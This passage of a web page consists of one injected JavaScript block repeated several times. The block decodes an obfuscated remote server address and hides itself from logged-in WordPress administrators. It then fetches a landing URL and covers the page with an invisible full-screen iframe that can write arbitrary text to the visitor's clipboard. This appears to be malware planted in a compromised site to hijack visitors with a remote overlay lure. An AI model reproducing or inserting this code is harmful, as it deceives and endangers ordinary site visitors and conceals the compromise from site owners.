{\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded 